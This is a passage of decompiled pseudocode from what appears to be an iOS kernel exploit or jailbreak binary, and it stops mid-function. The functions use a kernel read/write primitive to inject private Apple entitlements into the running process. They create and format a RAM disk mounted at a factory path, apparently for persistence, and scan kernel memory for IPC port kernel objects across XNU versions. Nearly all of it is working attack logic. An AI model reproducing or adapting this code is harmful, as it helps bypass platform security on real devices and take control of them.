//----- (000000000001FADC) ----------------------------------------------------
__int64 __fastcall create_temp_file_in_factory_mount(__int64 a1)
{
  const void *v2; // x22
  size_t v3; // x21
  int *v4; // x25
  __int64 result; // x0
  int v6; // w24
  char *v7; // x0
  const char *v8; // x20
  int v9; // w0
  int v10; // w23
  unsigned int v11; // w24
  unsigned __int64 v12; // x0
  int v14; // w20
  int v15; // w8
  int v16; // w0
  int v17; // w21
  int v18; // w8
  char __str[1024]; // [xsp+10h] [xbp-CC0h] BYREF
  struct statfs v20; // [xsp+410h] [xbp-8C0h] BYREF

  v2 = *(const void **)a1;
  v3 = *(unsigned int *)(a1 + 8);
  v4 = *(int **)(a1 + 16);
  bzero(&v20, 0x878u);
  result = check_factory_mount_hfs(&v20);
  v6 = result;
  if ( !(uint32_t)result )
  {
    snprintf(__str, 0x400u, "%s/temp.XXXXXX", "/private/var/factory_mount");
    v7 = mktemp(__str);
    if ( !v7 || (v8 = v7, v9 = open_dprotected_np(v7, 1538, 4, 0, 493), v9 < 0) )
    {
      v14 = errno;
      result = (__int64)__error();
      v15 = *(uint32_t *)result;
      if ( v14 < 0 )
        v15 = -v15;
      v6 = v15 | 0x40000000;
    }
    else
    {
      v10 = v9;
      v11 = 0;
      while ( 1 )
      {
        v12 = write(v10, v2, v3);
        if ( v12 != -1 )
          break;
        if ( errno == 4 && v11++ < 0x64 )
          continue;
        v6 = 110597;
        goto LABEL_20;
      }
      v6 = 110597;
      if ( !HIDWORD(v12) && (uint32_t)v3 == (uint32_t)v12 )
      {
        v16 = open(v8, 0);
        if ( (v16 & 0x80000000) == 0 )
        {
          *v4 = v16;
          result = close(v10);
          v6 = 0;
          goto LABEL_21;
        }
        v17 = errno;
        v18 = errno;
        if ( v17 < 0 )
          v18 = -v18;
        v6 = v18 | 0x40000000;
      }
LABEL_20:
      close(v10);
      result = unlink(v8);
    }
  }
LABEL_21:
  *(uint32_t *)(a1 + 24) = v6;
  return result;
}

//----- (000000000001FC94) ----------------------------------------------------
__int64 __fastcall get_mount_point_via_dispatch(__int64 a1)
{
  __int64 result; // x0
  char *f_mntonname; // [xsp+8h] [xbp-8B8h] BYREF
  __int64 v4; // [xsp+10h] [xbp-8B0h]
  unsigned int v5; // [xsp+18h] [xbp-8A8h]
  struct statfs v6; // [xsp+20h] [xbp-8A0h] BYREF

  bzero(&v6, 0x878u);
  LODWORD(result) = check_factory_mount_hfs(&v6);
  if ( (uint32_t)result )
  {
    if ( (uint32_t)result == 708625 )
      return 0;
    else
      return (unsigned int)result;
  }
  else
  {
    f_mntonname = v6.f_mntonname;
    v4 = 0;
    v5 = 708609;
    if ( pthread_create_and_join(a1, (__int64)unmount_path_retry, &f_mntonname) )
      result = v5;
    else
      result = 708619;
    if ( !(uint32_t)result )
    {
      f_mntonname = v6.f_mntfromname;
      v4 = 0;
      v5 = 708609;
      if ( pthread_create_and_join(a1, (__int64)stat_path_or_notfound, &f_mntonname) )
        return v5;
      else
        return 708619;
    }
  }
  return result;
}

//----- (000000000001FD98) ----------------------------------------------------
__int64 __fastcall check_factory_mount_hfs(struct statfs *a1)
{
  __int64 v2; // x19
  int v3; // w19
  int v4; // w8

  v2 = 708625;
  if ( statfs("/private/var/factory_mount", a1) )
  {
    if ( errno != 2 )
    {
      v3 = errno;
      v4 = errno;
      if ( v3 < 0 )
        v4 = -v4;
      return v4 | 0x40000000u;
    }
  }
  else if ( !strcmp("/private/var/factory_mount", a1->f_mntonname) )
  {
    if ( !strcmp("hfs", a1->f_fstypename) )
      return 0;
    else
      return 708613;
  }
  return v2;
}

//----- (000000000001FE38) ----------------------------------------------------
__int64 __fastcall setup_untethered_persistence_maybe(struct_krwCtx *a1, int a2)
{
  __int64 st_uid; // x22
  CFMutableDictionaryRef Mutable; // x0
  CFMutableDictionaryRef v6; // x21
  size_t v7; // x0
  CFDataRef v8; // x0
  CFDataRef v9; // x23
  CFNumberRef v10; // x0
  CFNumberRef v11; // x24
  const struct __CFData *Data; // x0
  const struct __CFData *v13; // x25
  size_t Length; // x22
  void *v15; // x20
  const UInt8 *BytePtr; // x0
  __darwin_ino64_t v17; // x28
  IONotificationPort *v18; // x0
  IONotificationPort *v19; // x22
  CFRunLoopSourceRef RunLoopSource; // x0
  struct __CFRunLoopSource *v21; // x23
  struct __CFRunLoop *Current; // x0
  const CFDictionaryRef *v23; // x21
  void (__cdecl *v24)(void *, io_iterator_t); // x0
  kern_return_t v25; // w0
  int v26; // w25
  char *v27; // x21
  struct __CFRunLoop *v28; // x0
  int v30; // w22
  unsigned int v31; // w25
  CFRunLoopRunResult v32; // w0
  uint64_t valuePtr; // [xsp+8h] [xbp-A18h] BYREF
  unsigned int v34; // [xsp+10h] [xbp-A10h]
  struct statfs v35; // [xsp+88h] [xbp-998h] BYREF
  io_iterator_t notification[2]; // [xsp+900h] [xbp-120h] BYREF
  const char *v37; // [xsp+908h] [xbp-118h]
  uint64_t *p_valuePtr; // [xsp+910h] [xbp-110h]
  __int64 v39; // [xsp+918h] [xbp-108h]
  struct stat __str; // [xsp+920h] [xbp-100h] BYREF

  bzero(&v35, 0x878u);
  st_uid = check_factory_mount_hfs(&v35);
  if ( (uint32_t)st_uid != 708625 )
    return st_uid;
  __str.st_dev = 708609;
  st_uid = pthread_create_and_join(a1, (__int64)mkdir_factory_mount, &__str) ? (unsigned int)__str.st_dev : 708619LL;
  if ( (uint32_t)st_uid )
    return st_uid;
  valuePtr = mach_absolute_time();
  Mutable = CFDictionaryCreateMutable(
              kCFAllocatorDefault,
              1,
              &kCFTypeDictionaryKeyCallBacks,
              &kCFTypeDictionaryValueCallBacks);
  if ( !Mutable )
    return 708617;
  v6 = Mutable;
  snprintf((char *)&__str, 0x40u, "ram://%u", a2 << 11);
  v7 = strlen((const char *)&__str);
  v8 = CFDataCreate(kCFAllocatorDefault, (const UInt8 *)&__str, v7);
  if ( !v8 )
  {
    CFRelease(v6);
    return 708617;
  }
  v9 = v8;
  v10 = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &valuePtr);
  if ( v10 )
  {
    v11 = v10;
    CFDictionaryAddValue(v6, CFSTR("autodiskmount"), kCFBooleanFalse);
    CFDictionaryAddValue(v6, CFSTR("ota-unique-identifier"), v11);
    CFDictionaryAddValue(v6, CFSTR("image-path"), v9);
    Data = CFPropertyListCreateData(kCFAllocatorDefault, v6, kCFPropertyListXMLFormat_v1_0, 0, 0);
    if ( Data )
    {
      v13 = Data;
      Length = CFDataGetLength(Data);
      v15 = calloc(Length + 1, 1u);
      if ( v15 )
      {
        BytePtr = CFDataGetBytePtr(v13);
        memcpy(v15, BytePtr, Length);
        st_uid = 0;
        v17 = valuePtr;
      }
      else
      {
        v17 = 0;
        st_uid = 708617;
      }
      CFRelease(v13);
    }
    else
    {
      v15 = 0;
      v17 = 0;
      st_uid = 708617;
    }
    CFRelease(v11);
  }
  else
  {
    v15 = 0;
    v17 = 0;
    st_uid = 708617;
  }
  CFRelease(v9);
  CFRelease(v6);
  if ( !(uint32_t)st_uid )
  {
    valuePtr = (uint64_t)v15;
    v34 = 708619;
    if ( !a1 || !v15 )
    {
      st_uid = 708609;
      goto LABEL_38;
    }
    st_uid = 708609;
    if ( v17 )
    {
      st_uid = 708619;
      if ( (unsigned int)krw_inject_entitlements2_maybe(
                           a1,
                           mach_task_self_,
                           "<dict><key>com.apple.private.diskimages.kext.user-client-access</key><true/><key>com.apple.pr"
                           "ivate.security.disk-device-access</key><true/><key>com.apple.security.iokit-user-client-class"
                           "</key><array><string>IOHDIXControllerUserClient</string></array></dict>",
                           1) )
      {
        if ( pthread_create_and_join(a1, (__int64)iokit_connect_call_struct_method, &valuePtr) )
        {
          st_uid = v34;
          if ( !v34 )
          {
            *(uint64_t *)&__str.st_dev = 0;
            __str.st_ino = v17;
            notification[0] = 0;
            v18 = IONotificationPortCreate(kIOMasterPortDefault);
            if ( !v18 )
            {
              v26 = 6;
              goto LABEL_37;
            }
            v19 = v18;
            RunLoopSource = IONotificationPortGetRunLoopSource(v18);
            if ( !RunLoopSource )
            {
              IONotificationPortDestroy(v19);
              v26 = 29;
              goto LABEL_37;
            }
            v21 = RunLoopSource;
            Current = CFRunLoopGetCurrent();
            CFRunLoopAddSource(Current, v21, kCFRunLoopDefaultMode);
            v23 = IOServiceMatching("IOMedia");
            v24 = (void (__cdecl *)(void *, io_iterator_t))nullsub_1(ioregistry_iter_read_cf_props);
            v25 = IOServiceAddMatchingNotification(v19, "IOServiceMatched", v23, v24, &__str, notification);
            if ( v25 )
            {
              v26 = v25;
              v27 = 0;
              goto LABEL_36;
            }
            ioregistry_iter_read_cf_props((__int64)&__str, notification[0]);
            v27 = *(char **)&__str.st_dev;
            if ( *(uint64_t *)&__str.st_dev )
            {
LABEL_34:
              v26 = 0;
              *(uint64_t *)&__str.st_dev = 0;
              goto LABEL_35;
            }
            v31 = 0;
            while ( 1 )
            {
              v32 = CFRunLoopRunInMode(kCFRunLoopDefaultMode, 1.0, 1u);
              if ( v32 == kCFRunLoopRunTimedOut )
              {
                ++v31;
              }
              else if ( v32 != kCFRunLoopRunHandledSource )
              {
                if ( (unsigned int)(v32 - 1) < 2 )
                {
                  v27 = *(char **)&__str.st_dev;
                  if ( *(uint64_t *)&__str.st_dev )
                    goto LABEL_34;
                  goto LABEL_59;
                }
                v27 = 0;
                v26 = 18;
LABEL_35:
                IOObjectRelease(notification[0]);
LABEL_36:
                v28 = CFRunLoopGetCurrent();
                CFRunLoopRemoveSource(v28, v21, kCFRunLoopDefaultMode);
                IONotificationPortDestroy(v19);
                if ( v26 )
                {
LABEL_37:
                  st_uid = v26 | 0x80000000;
                  break;
                }
                snprintf((char *)&valuePtr, 0x80u, "/dev/%s", v27);
                memset(&__str, 0, sizeof(__str));
                *(uint64_t *)notification = "/sbin/newfs_hfs";
                v37 = "-P";
                p_valuePtr = &valuePtr;
                v39 = 0;
                st_uid = posix_spawn_with_sigdefault((const char **)notification);
                if ( !(uint32_t)st_uid )
                {
                  v30 = 1000;
                  while ( lstat((const char *)&valuePtr, &__str) || (__str.st_mode & 0xF000) != 0x6000 )
                  {
                    usleep(0x4E20u);
                    if ( !--v30 )
                    {
                      st_uid = 708632;
                      goto LABEL_46;
                    }
                  }
                  *(uint64_t *)&__str.st_dev = "/private/var/factory_mount";
                  __str.st_ino = (__darwin_ino64_t)&valuePtr;
                  __str.st_uid = 708609;
                  if ( pthread_create_and_join(a1, (__int64)sptm_ulock_write_trampoline, &__str) )
                  {
                    st_uid = __str.st_uid;
                    if ( !__str.st_uid )
                    {
LABEL_47:
                      free(v27);
                      break;
                    }
                  }
                  else
                  {
                    st_uid = 708619;
                  }
                }
LABEL_46:
                *(uint64_t *)&__str.st_dev = &valuePtr;
                __str.st_ino = 0;
                __str.st_uid = 708609;
                pthread_create_and_join(a1, (__int64)stat_path_or_notfound, &__str);
                goto LABEL_47;
              }
              v27 = *(char **)&__str.st_dev;
              if ( *(uint64_t *)&__str.st_dev || v31 >= 0xA )
              {
                if ( *(uint64_t *)&__str.st_dev )
                  goto LABEL_34;
LABEL_59:
                v26 = 49;
                goto LABEL_35;
              }
            }
          }
        }
      }
    }
LABEL_38:
    free(v15);
  }
  return st_uid;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
// 44958: using guessed type __CFString cfstr_Autodiskmount;
// 44978: using guessed type __CFString cfstr_OtaUniqueIdent;
// 44998: using guessed type __CFString cfstr_ImagePath;

//----- (00000000000203B0) ----------------------------------------------------
__int64 __fastcall get_root_mount_info(__int64 a1, uint32_t *a2, char *a3)
{
  __int64 result; // x0
  struct statfs v6; // [xsp+0h] [xbp-8A0h] BYREF

  bzero(&v6, 0x878u);
  result = check_factory_mount_hfs(&v6);
  if ( (uint32_t)result == 708625 )
  {
    result = 0;
    *a2 = 0;
    *a3 = 0;
  }
  else if ( !(uint32_t)result )
  {
    *a2 = 4;
    strlcpy(a3, v6.f_mntonname, 0x400u);
    return 0;
  }
  return result;
}

//----- (0000000000020468) ----------------------------------------------------
__int64 __fastcall physmap_check_range_wrapper(__int64 a1, __int64 a2, int a3)
{
  if ( physmap_single_check(a1, a2, a3) )
    return 0;
  else
    return 708619;
}

//----- (0000000000020490) ----------------------------------------------------
int *__fastcall unmount_path_retry(__int64 a1)
{
  unsigned int v2; // w21
  int v3; // w20
  int *result; // x0
  int v5; // w22
  int v6; // w8
  int v7; // w8

  v2 = 0;
  v3 = 1073741840;
  while ( 1 )
  {
    result = (int *)unmount(*(const char **)a1, 0x80000);
    if ( !(uint32_t)result )
    {
      v3 = 0;
      goto LABEL_11;
    }
    v5 = errno;
    result = __error();
    v6 = *result;
    if ( v5 < 0 )
      v6 = -v6;
    v7 = v6 | 0x40000000;
    if ( v7 != 1073741840 )
      break;
    result = (int *)usleep(0xC8u);
    if ( v2++ >= 4 )
      goto LABEL_11;
  }
  v3 = v7;
LABEL_11:
  *(uint32_t *)(a1 + 16) = v3;
  return result;
}

//----- (0000000000020524) ----------------------------------------------------
int *__fastcall stat_path_or_notfound(__int64 a1)
{
  const char *v2; // x20
  int *result; // x0
  int v4; // w21
  int v5; // w0
  int v6; // w20
  int v7; // w21
  int v8; // w8
  int v9; // w20
  int v10; // w8
  struct stat v11; // [xsp+10h] [xbp-B0h] BYREF

  memset(&v11, 0, sizeof(v11));
  v2 = *(const char **)a1;
  result = (int *)stat(*(const char **)a1, &v11);
  if ( (uint32_t)result )
  {
    result = __error();
    if ( *result == 2 )
    {
      v4 = 0;
      goto LABEL_16;
    }
    goto LABEL_10;
  }
  if ( (v11.st_mode & 0xF000) != 0x6000 )
  {
    v4 = 708627;
    goto LABEL_16;
  }
  v5 = open(v2, 0);
  if ( v5 < 0 )
  {
LABEL_10:
    v9 = errno;
    result = __error();
    v10 = *result;
    if ( v9 < 0 )
      v10 = -v10;
    v4 = v10 | 0x40000000;
    goto LABEL_16;
  }
  v6 = v5;
  if ( ioctl(v5, 0x20006415u, 0) )
  {
    v7 = errno;
    v8 = errno;
    if ( v7 < 0 )
      v8 = -v8;
    v4 = v8 | 0x40000000;
  }
  else
  {
    v4 = 0;
  }
  result = (int *)close(v6);
LABEL_16:
  *(uint32_t *)(a1 + 16) = v4;
  return result;
}

//----- (000000000002062C) ----------------------------------------------------
const CFDictionaryRef *__fastcall iokit_connect_call_struct_method(const CFDictionaryRef *result)
{
  const CFDictionaryRef *v1; // x19
  io_object_t v2; // w20
  kern_return_t v3; // w0
  kern_return_t v4; // w0
  unsigned int v5; // w8
  int outputStruct; // [xsp+4h] [xbp-13Ch] BYREF
  size_t outputStructCnt; // [xsp+8h] [xbp-138h] BYREF
  io_connect_t connect; // [xsp+14h] [xbp-12Ch] BYREF
  __int64 inputStruct; // [xsp+18h] [xbp-128h] BYREF
  const char *v10; // [xsp+20h] [xbp-120h]
  size_t v11; // [xsp+28h] [xbp-118h]
  __int128 v12; // [xsp+30h] [xbp-110h]
  __int128 v13; // [xsp+40h] [xbp-100h]
  __int128 v14; // [xsp+50h] [xbp-F0h]
  __int128 v15; // [xsp+60h] [xbp-E0h]
  __int128 v16; // [xsp+70h] [xbp-D0h]
  __int128 v17; // [xsp+80h] [xbp-C0h]
  __int128 v18; // [xsp+90h] [xbp-B0h]
  __int128 v19; // [xsp+A0h] [xbp-A0h]
  __int128 v20; // [xsp+B0h] [xbp-90h]
  __int128 v21; // [xsp+C0h] [xbp-80h]
  __int128 v22; // [xsp+D0h] [xbp-70h]
  __int128 v23; // [xsp+E0h] [xbp-60h]
  __int128 v24; // [xsp+F0h] [xbp-50h]
  __int128 v25; // [xsp+100h] [xbp-40h]
  __int64 v26; // [xsp+110h] [xbp-30h]

  if ( result )
  {
    v1 = result;
    result = ioservice_get_matching("IOHDIXController");
    if ( (unsigned int)((uint32_t)result + 1) < 2 )
    {
      *((uint32_t *)v1 + 2) = 708625;
    }
    else
    {
      v2 = (unsigned int)result;
      connect = 0;
      v3 = IOServiceOpen((io_service_t)result, mach_task_self_, 0, &connect);
      if ( v3 )
      {
        *((uint32_t *)v1 + 2) = v3 | 0x80000000;
      }
      else
      {
        outputStructCnt = 4;
        outputStruct = 0;
        v12 = 0u;
        v13 = 0u;
        v14 = 0u;
        v15 = 0u;
        v16 = 0u;
        v17 = 0u;
        v18 = 0u;
        v19 = 0u;
        v20 = 0u;
        v21 = 0u;
        v22 = 0u;
        v23 = 0u;
        v24 = 0u;
        v25 = 0u;
        v26 = 0;
        inputStruct = 0x1BEEFFEEDLL;
        v10 = *(const char **)v1;
        v11 = strlen(v10);
        v4 = IOConnectCallStructMethod(connect, 0, &inputStruct, 0x100u, &outputStruct, &outputStructCnt);
        v5 = v4 | 0x80000000;
        if ( !v4 )
          v5 = 0;
        *((uint32_t *)v1 + 2) = v5;
        IOServiceClose(connect);
      }
      return (const CFDictionaryRef *)IOObjectRelease(v2);
    }
  }
  return result;
}

//----- (0000000000020780) ----------------------------------------------------
__int64 __fastcall ioregistry_iter_read_cf_props(__int64 a1, io_iterator_t iterator)
{
  __int64 result; // x0
  io_registry_entry_t v5; // w22
  const struct __CFNumber *v6; // x0
  const struct __CFNumber *v7; // x26
  CFTypeID v8; // x27
  const struct __CFString *CFProperty; // x0
  const struct __CFString *v10; // x27
  CFTypeID v11; // x28
  CFStringEncoding SystemEncoding; // w0
  __int64 valuePtr; // [xsp+8h] [xbp-E8h] BYREF
  char buffer[16]; // [xsp+10h] [xbp-E0h] BYREF
  __int128 v15; // [xsp+20h] [xbp-D0h]
  __int128 v16; // [xsp+30h] [xbp-C0h]
  __int128 v17; // [xsp+40h] [xbp-B0h]
  __int128 v18; // [xsp+50h] [xbp-A0h]
  __int128 v19; // [xsp+60h] [xbp-90h]
  __int128 v20; // [xsp+70h] [xbp-80h]
  __int128 v21; // [xsp+80h] [xbp-70h]

  valuePtr = 0;
  v20 = 0u;
  v21 = 0u;
  v18 = 0u;
  v19 = 0u;
  v16 = 0u;
  v17 = 0u;
  *(__int128 *)buffer = 0u;
  v15 = 0u;
  result = IOIteratorNext(iterator);
  if ( (uint32_t)result )
  {
    v5 = result;
    do
    {
      v6 = (const struct __CFNumber *)IORegistryEntrySearchCFProperty(
                                 v5,
                                 "IOService",
                                 CFSTR("ota-unique-identifier"),
                                 kCFAllocatorDefault,
                                 3u);
      if ( v6 )
      {
        v7 = v6;
        v8 = CFGetTypeID(v6);
        if ( v8 == CFNumberGetTypeID()
          && CFNumberGetValue(v7, kCFNumberSInt64Type, &valuePtr) == 1
          && valuePtr == *(uint64_t *)(a1 + 8) )
        {
          CFProperty = (const struct __CFString *)IORegistryEntryCreateCFProperty(
                                             v5,
                                             CFSTR("BSD Name"),
                                             kCFAllocatorDefault,
                                             0);
          if ( CFProperty )
          {
            v10 = CFProperty;
            v11 = CFGetTypeID(CFProperty);
            if ( v11 == CFStringGetTypeID() )
            {
              SystemEncoding = CFStringGetSystemEncoding();
              if ( CFStringGetCString(v10, buffer, 128, SystemEncoding) == 1 )
              {
                if ( *(uint64_t *)a1 )
                  free(*(void **)a1);
                *(uint64_t *)a1 = strdup(buffer);
              }
            }
            CFRelease(v10);
          }
        }
        CFRelease(v7);
      }
      IOObjectRelease(v5);
      result = IOIteratorNext(iterator);
      v5 = result;
    }
    while ( (uint32_t)result );
  }
  return result;
}
// 44978: using guessed type __CFString cfstr_OtaUniqueIdent;
// 449B8: using guessed type __CFString cfstr_BsdName;

//----- (0000000000020930) ----------------------------------------------------
__int64 __fastcall append_to_dynamic_buf(__int64 a1, __int64 *a2, __int64 a3)
{
  __int64 v4; // x21
  __int64 *v5; // x9
  int v6; // w10
  size_t v7; // x8
  __int64 v8; // x22
  unsigned int v9; // w10
  size_t *p_src; // x20
  void *v11; // x0
  size_t v12; // x2
  size_t *v13; // x1
  size_t v15; // [xsp+0h] [xbp-30h] BYREF
  __int64 __src; // [xsp+8h] [xbp-28h] BYREF

  if ( *((uint8_t *)a2 + 64) )
  {
    __src = a3;
    v4 = a2[4];
    if ( v4 )
    {
      v5 = a2 + 5;
    }
    else
    {
      v5 = a2 + 1;
      v4 = *a2;
    }
    v6 = *((uint32_t *)a2 + 18);
    v7 = *(int *)(a1 + 360);
    v8 = (unsigned int)(v6 + 2 * v7);
    v9 = 3 * v7 + v6;
    if ( a3 )
    {
      p_src = (size_t *)&__src;
      v15 = v8 - v7 + *v5;
    }
    else
    {
      p_src = &v15;
      v15 = 0;
    }
    memcpy((void *)(v4 + v9), &v15, v7);
    v11 = (void *)(v4 + v8);
    v12 = *(int *)(a1 + 360);
    v13 = p_src;
  }
  else
  {
    if ( a3 )
      __src = a3 - *((unsigned int *)a2 + 25);
    else
      __src = 0;
    v11 = (void *)(*a2 + *((unsigned int *)a2 + 23) + 512);
    v12 = *(int *)(a1 + 360);
    v13 = (size_t *)&__src;
  }
  memcpy(v11, v13, v12);
  return 0;
}

//----- (0000000000020A14) ----------------------------------------------------
__int64 __fastcall write_loop_to_fd_from_ctx(__int64 a1, int a2, char a3)
{
  __int64 v5; // x22
  unsigned int v6; // w23
  __int64 v7; // x19
  unsigned __int64 v8; // x0
  bool v9; // cf
  unsigned __int64 v10; // x0
  unsigned int v11; // w23
  bool v12; // zf
  unsigned int v14; // w21
  unsigned __int64 v15; // x0
  unsigned __int64 v16; // x0
  unsigned int v17; // w21

  v5 = *(uint64_t *)(a1 + 32);
  if ( (a3 & 1) == 0 && (!a2 || v5) )
    goto LABEL_19;
  v6 = 0;
  v7 = 163849;
  while ( 1 )
  {
    v8 = write(*(uint32_t *)(a1 + 24), *(const void **)a1, *(unsigned int *)(a1 + 16));
    if ( v8 != -1 )
      break;
    if ( errno == 4 )
    {
      v9 = v6++ >= 0x64;
      if ( !v9 )
        continue;
    }
    return v7;
  }
  if ( !HIDWORD(v8) && *(uint32_t *)(a1 + 16) == (uint32_t)v8 )
  {
    v10 = read(*(uint32_t *)(a1 + 20), *(void **)a1, (unsigned int)v8);
    if ( v10 == -1 )
    {
      v11 = 0;
      while ( errno == 4 && v11 <= 0x63 )
      {
        ++v11;
        v10 = read(*(uint32_t *)(a1 + 20), *(void **)a1, *(unsigned int *)(a1 + 16));
        if ( v10 != -1 )
          goto LABEL_17;
      }
      return 163850;
    }
LABEL_17:
    v7 = 163850;
    if ( !HIDWORD(v10) && *(uint32_t *)(a1 + 16) == (uint32_t)v10 )
    {
LABEL_19:
      if ( v5 )
        v12 = a2 == 0;
      else
        v12 = 1;
      if ( v12 )
        return 0;
      v14 = 0;
      v7 = 163849;
      while ( 1 )
      {
        v15 = write(*(uint32_t *)(a1 + 56), *(const void **)(a1 + 32), *(unsigned int *)(a1 + 48));
        if ( v15 != -1 )
          break;
        if ( errno == 4 )
        {
          v9 = v14++ >= 0x64;
          if ( !v9 )
            continue;
        }
        return v7;
      }
      if ( !HIDWORD(v15) && *(uint32_t *)(a1 + 48) == (uint32_t)v15 )
      {
        v16 = read(*(uint32_t *)(a1 + 52), *(void **)(a1 + 32), (unsigned int)v15);
        if ( v16 == -1 )
        {
          v17 = 0;
          while ( errno == 4 && v17 <= 0x63 )
          {
            ++v17;
            v16 = read(*(uint32_t *)(a1 + 52), *(void **)(a1 + 32), *(unsigned int *)(a1 + 48));
            if ( v16 != -1 )
              goto LABEL_38;
          }
          return 163850;
        }
LABEL_38:
        v7 = 163850;
        if ( !HIDWORD(v16) && *(uint32_t *)(a1 + 48) == (uint32_t)v16 )
          return 0;
      }
    }
  }
  return v7;
}

//----- (0000000000020C00) ----------------------------------------------------
__int64 __fastcall append_buf_and_get_pid(__int64 a1, __int64 a2, __int64 a3, int *a4)
{
  __int64 result; // x0
  int x; // [xsp+Ch] [xbp-14h] BYREF

  append_to_dynamic_buf(a1, (__int64 *)a2, a3);
  result = write_loop_to_fd_from_ctx(a2, 0, 1);
  if ( !(uint32_t)result )
  {
    result = pid_for_task(*(uint32_t *)(a2 + 60), &x);
    if ( (uint32_t)result )
      return (unsigned int)result | 0x80000000;
    else
      *a4 = x;
  }
  return result;
}

//----- (0000000000020C64) ----------------------------------------------------
__int64 __fastcall append_buf_and_wait_port(__int64 a1, __int64 a2, __int64 a3, int *a4)
{
  __int64 result; // x0
  integer_t port_info_out; // [xsp+8h] [xbp-28h] BYREF
  mach_msg_type_number_t port_info_outCnt; // [xsp+Ch] [xbp-24h] BYREF
  __int64 vars8; // [xsp+38h] [xbp+8h]

  if ( *(uint8_t *)(a2 + 64) )
  {
    append_to_dynamic_buf(a1, (__int64 *)a2, a3);
    result = write_loop_to_fd_from_ctx(a2, 1, 0);
    if ( !(uint32_t)result )
    {
      port_info_outCnt = 1;
      result = mach_port_get_attributes(mach_task_self_, *(uint32_t *)(a2 + 60), 3, &port_info_out, &port_info_outCnt);
      if ( (uint32_t)result )
        return (unsigned int)result | 0x80000000;
      else
        *a4 = port_info_out;
    }
  }
  else
  {
    return append_buf_and_get_pid(a1, a2, a3, a4);
  }
  return result;
}

//----- (0000000000020D24) ----------------------------------------------------
__int64 __fastcall read_two_consecutive_port_slots(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 *a4)
{
  __int64 result; // x0
  unsigned int v9; // [xsp+8h] [xbp-28h] BYREF
  unsigned int v10; // [xsp+Ch] [xbp-24h] BYREF

  result = append_buf_and_wait_port(a1, a2, a3, (int *)&v10);
  if ( !(uint32_t)result )
  {
    result = append_buf_and_wait_port(a1, a2, a3 + 4, (int *)&v9);
    if ( !(uint32_t)result )
      *a4 = v10 | ((unsigned __int64)v9 << 32);
  }
  return result;
}

//----- (0000000000020D90) ----------------------------------------------------
__int64 __fastcall check_iogpu_krw_ready_4(struct_krwCtx *a1, __int64 a2, unsigned __int64 a3, int a4, unsigned __int64 *a5)
{
  __int64 v10; // x19
  __int64 v11; // x0
  unsigned int v12; // w26
  unsigned int v13; // w24
  unsigned __int64 v14; // x0
  unsigned __int64 v15; // x28
  __int64 v16; // x27
  unsigned __int64 i; // x24
  __int64 v18; // x0
  int v19; // w8
  unsigned __int64 v20; // x10
  unsigned __int64 v21; // x9
  int v22; // w11
  unsigned __int64 v23; // x26
  int v24; // w8
  unsigned __int64 v25; // x10
  unsigned __int64 v26; // x9
  int v27; // w11
  unsigned int v29; // [xsp+Ch] [xbp-64h]
  unsigned __int64 xnuVersionPacked; // [xsp+10h] [xbp-60h]
  int v31; // [xsp+1Ch] [xbp-54h] BYREF

  v10 = 163852;
  v11 = get_task_struct_cached_offset((__int64)a1);
  if ( !(uint32_t)v11 )
    return 163851;
  if ( !a3 )
    return 163848;
  v12 = v11;
  v13 = compute_optimal_kobj_stride((__int64)a1, v11);
  v14 = find_aligned_kaddr_in_region((__int64)a1, a3, v12, v13);
  if ( !v14 )
    return 163878;
  v15 = v14;
  v29 = v13;
  xnuVersionPacked = a1->xnuVersionPacked;
  v16 = v12;
  if ( v14 <= a3 )
  {
    i = a3;
    do
    {
      if ( a2 )
      {
        v18 = append_buf_and_wait_port((__int64)a1, a2, i, &v31);
        if ( (uint32_t)v18 )
          return v18;
      }
      else if ( !kread_u32((__int64)a1, i, &v31) )
      {
        return 163855;
      }
      v19 = v31 & 0x3FF;
      if ( xnuVersionPacked < XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
      {
        if ( v19 == a4 )
          goto LABEL_47;
        if ( v19 != 17 )
        {
          v20 = 0;
          do
          {
            v21 = v20;
            if ( v20 == 9 )
              break;
            v22 = dword_43428[++v20];
          }
          while ( v22 != v19 );
          if ( v21 > 8 )
            break;
        }
      }
      else if ( a4 == 2 && v19 == 2 )
      {
        if ( !(unsigned int)iokit_slot_alloc_pgtable_lookup(a1, a2, v31, i) )
          goto LABEL_47;
      }
      else if ( v19 == a4 )
      {
LABEL_47:
        v10 = 0;
        *a5 = i;
        return v10;
      }
      i -= v12;
    }
    while ( i >= v15 );
  }
  v23 = v29 - (unsigned __int64)v12 + v15;
  for ( i = v16 + a3; i <= v23; i += v16 )
  {
    if ( a2 )
    {
      v18 = append_buf_and_wait_port((__int64)a1, a2, i, &v31);
      if ( (uint32_t)v18 )
        return v18;
    }
    else if ( !kread_u32((__int64)a1, i, &v31) )
    {
      return 163855;
    }
    v24 = v31 & 0x3FF;
    if ( xnuVersionPacked < XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
    {
      if ( v24 == a4 )
        goto LABEL_47;
      if ( v24 != 17 )
      {
        v25 = 0;
        do
        {
          v26 = v25;
          if ( v25 == 9 )
            break;
          v27 = dword_43428[++v25];
        }
        while ( v27 != v24 );
        if ( v26 > 8 )
          return v10;
      }
    }
    else if ( a4 == 2 && v24 == 2 )
    {
      if ( !(unsigned int)iokit_slot_alloc_pgtable_lookup(a1, a2, v31, i) )
        goto LABEL_47;
    }
    else if ( v24 == a4 )
    {
      goto LABEL_47;
    }
  }
  return v10;
}
// 43428: using guessed type uint32_t dword_43428[10];

//----- (0000000000021060) ----------------------------------------------------
__int64 __fastcall iokit_slot_alloc_pgtable_lookup(struct_krwCtx *a1, __int64 a2, __int16 a3, __int64 a4)
{
  __int64 v6; // x0
  __int64 v7; // x21
  unsigned __int64 v8; // x1
  unsigned int v9; // w0
  unsigned __int64 v10; // x8
  unsigned __int64 v12; // [xsp+8h] [xbp-28h] BYREF

  if ( (a3 & 0x7FF) != 2 )
    return 163848;
  v6 = ipc_port_kobject_field_offset(a1, a4);
  v12 = v6;
  if ( !v6 )
    return 163878;
  if ( a2 )
  {
    v7 = read_two_consecutive_port_slots((__int64)a1, a2, v6, &v12);
    if ( (uint32_t)v7 )
      return v7;
    v8 = maybe_sptm_translate_kaddr(a1, v12);
    v12 = v8;
  }
  else
  {
    if ( !kread_physmap_decorated(a1, v6, &v12) )
      return 163855;
    v8 = v12;
  }
  if ( !validate_kaddr_range((__int64)a1, v8) )
    return 163878;
